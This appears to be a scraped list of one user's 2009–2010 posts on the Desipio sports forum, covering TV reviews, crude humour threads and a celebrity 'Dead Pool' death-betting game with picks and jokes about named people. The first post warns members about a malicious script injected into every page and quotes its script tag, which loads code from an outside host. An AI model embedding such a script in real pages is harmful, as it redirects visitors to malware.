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#1
Desipio Lounge / Virus (ANDY SAY RELAX)
May 07, 2010, 09:26:24 AM
The SBox has been abuzz about a script running on the messageboard that redirects some visitors to a virus.

<script src="http://indesignstudioinfo.com/ls.php"></script>

This script is still present on every page of Desipio (messageboard and "articles").

Use the site at your own risk.
#2
There's a biopic about The Runaways out.

http://www.chicagotribune.com/entertainment/movies/sc-mov-0316-runaways-20100318,0,4797949.column

Dakota Fanning as Cherie Currie, the chick from Twilight as Joan Jett and some old bones named Scout Taylor-Compton as Lita Ford. (Also, somehow: Maeby Fünke.)

Dateline NBC to give out free passes at your local GameStop.
#3
Desipio Lounge / How you crappin'?
February 15, 2010, 06:34:53 PM
I learned two things in the HJE shoutbox over the the past couple of weeks that I found more than a little bit surprising...

a) There are people in this world who don't think Zooey Deschanel is a beautiful angel
b) Some guys (mostly Hollywood types, it would seem) apparently wipe their asses while standing up

To the latter...

While this revelation blew my mind, I decided to have a go at it one day to see what it was all about. And I have to say: it seems like a whole lot of fuss (with serious potential for muss) and I still don't understand the benefits.

Don't get me wrong. If I spot something magnificent in the bowl before I make my move, I'm definitely bound to stand up and admire—nay, applaud—the fruits of my labors.

But, the occasional ovation aside, as a standard operating procedure I just can't say that I get it.

So, I put it to you, Desipio... Is the standing wipe a common practice? And, if so, what is the deal with that?
#4
Desipio Lounge / Sports Talk!
February 03, 2010, 11:16:22 AM
This place needs a thread for talking about sports.

Have at it, fellows.
#5
Desipio Lounge / Fuck its silent in here.......
January 20, 2010, 01:53:07 PM
Picking up where we left off...



SUCK IT, LIBS!
#7
The Dead Pool / Death is Forming
January 13, 2010, 03:46:44 PM
Via Bort in the SBox, Jay Reatard is dead at 29...

http://www.spin.com/articles/jay-reatard-dead-29
#8
The picks are in.*

22 morans entered.

They selected 157 distinct celebrity targets.

2 (powen and ChuckD) selected themselves.

Average age: 67.8 years old (70.2 median)**

Youngest: Levi Johnston (19.66)

Oldest: John Wooden (99.21)

The increasingly convoluted point system factored in, possible individual point totals range from as low as 40 (Bonk) to as high as 110*** (powen), averaging at around 68.**

Most popular (and thus penalized) selections:

QuoteDick Clark 8
John Wooden 7
Fidel Castro 6
Bryant Gumbel 5
Artie Lange 3
Rush Limbaugh 3
Seve Ballesteros 3
Dick Cheney 3
Ron Santo 3
Hugh Hefner 3
Jimmy Carter 3
Andy Rooney 3
Betty Ford 3
Billy Graham 3
Ernie Harwell 3
Kirk Douglas 3
Robert Byrd 3
Amy Winehouse 2
Courtney Love 2
Tawny Kitaen 2
Tom Sizemore 2
Kirstie Alley 2
Steve Jobs 2
Muhammad Ali 2
Bobby Hull 2
Ruth Bader Ginsburg 2
Betty White 2
Joe Paterno 2
Mickey Rooney 2
Nancy Reagan 2
Pope Benedict XVI 2
Phil Cavarretta 2

Best email submission...

QuoteFrom: powen01[at]xxxxxxx.xxx
To: deadpool[at]xxxxxxx.xxx
Subject: DEATH.

1.  Hee Sop Choi - Mountaineering/Climbing/Kimchi accident
2.  The entire cast of Jersey Shore - Venereal Disease (Specifically, the Butt Flu) I also don't care if I don't get points because of the amiguity of my choice, but I think the entire cast dying is a win/win for everyone.
3.  powen01 - If I knew, I wouldn't be on here.
4.  Michael Lohan - Suicide/Overdose
5.  Travis Barker - Tour Bus Accident/Ambien OD
6.  Rivers Cuomo - Anxiety attack on stage
7.  Osama Bin Laden - Butt-raped to death by wild pack of boars
8.  Alex Rodriguez - Butt Flu and/or Auto-erotic asphixiation
9.  Lindsay Lohan - Need I say more?
10.  Bob "The Voice of God" Sheppard - Dies of death.
11.  Al Yellon - Chokes on bologna.


Runner up...

QuoteFrom: huecub[at]xxxxxxx.xxx
To: deadpool[at]xxxxxxx.xxx
Subject: Re: Desipio Dead Pool

Huh?

On Sat, Dec 26, 2009 at 12:39 PM, <deadpool[at]xxxxxxx.xxx> wrote:

>  WELCOME TO THUNDERDOME.
>
>  -------- Original Message --------
>
>  > So what are the rules?  Am I allowed to pick someone from my 2009 list?
>  >
>


*If you spot any problems in the linked spreadsheets, let me know. In particular, take a look at your own picks to make sure I copied them faithfully. And let me know if I somehow missed any misspelled dupes on the celebrity list.

**Not accurate. I lack age and/or DOB info for 7 entries (Dan McNeil, Don Croft, Noreen Martin, Peggy O'Mara, Richard Heene, Steve Cokely and Torey Malatia)—5 of these, shockingly, Wheezer picks. All 7 appear in the spreadsheet as 110 years old until I have solid info, with no age bonus factored in.

***powen selected the entire cast of Jersey Shore as his number 2 pick. Given the low probability of the entire cast dying, I've been generous, scoring their collective "age" from the debut of the show December 3. Age bonus = 9 points.
#9
The Dead Pool / Uh-oh
December 21, 2009, 11:46:44 PM
Do they air Wapner in heaven?

http://www.google.com/hostednews/ap/article/ALeqM5gXvWZyQWBtxbEb2rFnUwEWbgvpQQD9CO1O400

QuoteSALT LAKE CITY — A relative says Kim Peek, the man who inspired the title character in the Oscar-winning movie "Rain Man," has died. He was 58.

Fran Peek says his son had a heart attack Saturday and was pronounced dead at a hospital in the Salt Lake City suburb of Murray.

Peek was a savant with a remarkable memory. Fran Peek says his son could read a book just once and memorize it.

Kim Peek inspired Barry Morrow when he wrote "Rain Man," the movie that won four Academy Awards, including best actor for Dustin Hoffman, who played the title role.

http://www.sltrib.com/news/ci_14043625
#11
The Dead Pool / Off to the Land of Sky Blue Waters...
November 20, 2009, 12:24:59 PM
Ivan "Johnnie" Vrbetic, of the eponymous Johnnie's Lounge, dead at 87...

http://www.chibarproject.com/Reviews/Johnnie%27s/Johnnie%27s.htm

QuoteEditor's Note II: According to Jason Mathews (former regular at Johnnie's Lounge and friend of Mike Stephen and his OTL-Outside the Loop radio show on WLUW), "Ivan 'Johnnie' Vrbetic passed away on October 23, 2009 at the age of 87." If and when a memorial service is held by the family, email me and I will keep you updated.

From Johnnie's Niece Tanya: "With a sad heart, I wanted to let you know that John passed away at 6pm CST tonight (10/23/09). Please pass along this information. My Uncle John was 87 years old and lived the life he wanted."

Editor's Note: In case you noticed that Johnnie's Lounge on Lincoln has been closed, alert CBP readers Jason Mathews and Steve Maks informed me that owner and bartender Johnnie fell and broke his neck while tending bar, and has been on a ventilator and laid up in Illinois Masonic Hospital for over a month. Let's hope his nurses are easy on the eyes...
#12
Boobtube / Modern Family
September 23, 2009, 11:19:27 PM
Pass.

Julie Bowen's good, as is Ed O'Neill. And Sofia Vergara is clearly hot.

Other than that, it's a big pile of meh.

It's like an Arrested Development knockoff meets an Office* knockoff... except with heart, and "relatable" characters.

So it's like that Sons and Daughters show all over again ("Arrested Development for nice people"), but with interview segments and without necessarily being quite as blatant an AD ripoff in so many ways**.

*Apparently Ty Burrell got the memo on the Office similarities, as he's playing his character (Phil, the "cool dad") as more or less Michael Scott: Family Man.

**Hurwitz and friends often rip into S&D on the AD commentary tracks. The one specific bit I actually remember from this show involved the main character's goofball brother-in-law (whose sexless marriage is only slightly less awkward than his attempts at a midlife acting career) worrying about whether an x-ray machine will be able to see through the denim shorts it's implied he must have on under his clothes. Seriously.
#13
Boobtube / Community
September 18, 2009, 08:20:22 AM
I'm sorry for calling you Michael Douglas. I see your value now.